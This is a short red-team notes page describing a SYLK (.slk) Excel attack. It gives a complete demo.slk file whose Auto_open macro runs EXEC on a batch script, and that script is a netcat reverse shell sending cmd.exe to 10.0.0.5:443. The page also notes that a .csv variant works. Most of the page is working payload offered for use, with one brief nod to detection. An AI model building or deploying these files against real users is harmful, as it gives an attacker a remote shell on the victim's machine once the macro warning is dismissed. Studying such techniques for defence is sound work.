⭕.SLK Excel

SYLKin Attack: Malicious .slk Files Bypass Microsoft 365 SecurityAvananSecurity

The MS Office Magic Show - Stan Hegt, Pieter Ceelen Derbycon 2018 (Hacking Illustrated Series InfoSec Tutorial Videos)

Create an new text file, put the the below code and save it as .slk file:

demo.slk

ID;P
O;E
NN;NAuto_open;ER101C1;KOut Flank;F
C;X1;Y101;K0;EEXEC("c:\shell.cmd")
C;X1;Y102;K0;EHALT()
E

Note that the shell.cmd refers to a simple nc reverse shell batch file:

c:\shell.cmd

C:\tools\nc.exe 10.0.0.5 443 -e cmd.exe

Once the macro warning is dismissed, the reverse shell pops as expected:

Since the file is actually a plain text file, detecting/triaging malicious intents are made easier.

Note that the payload file could be saved as a .csv - note the additional warning though: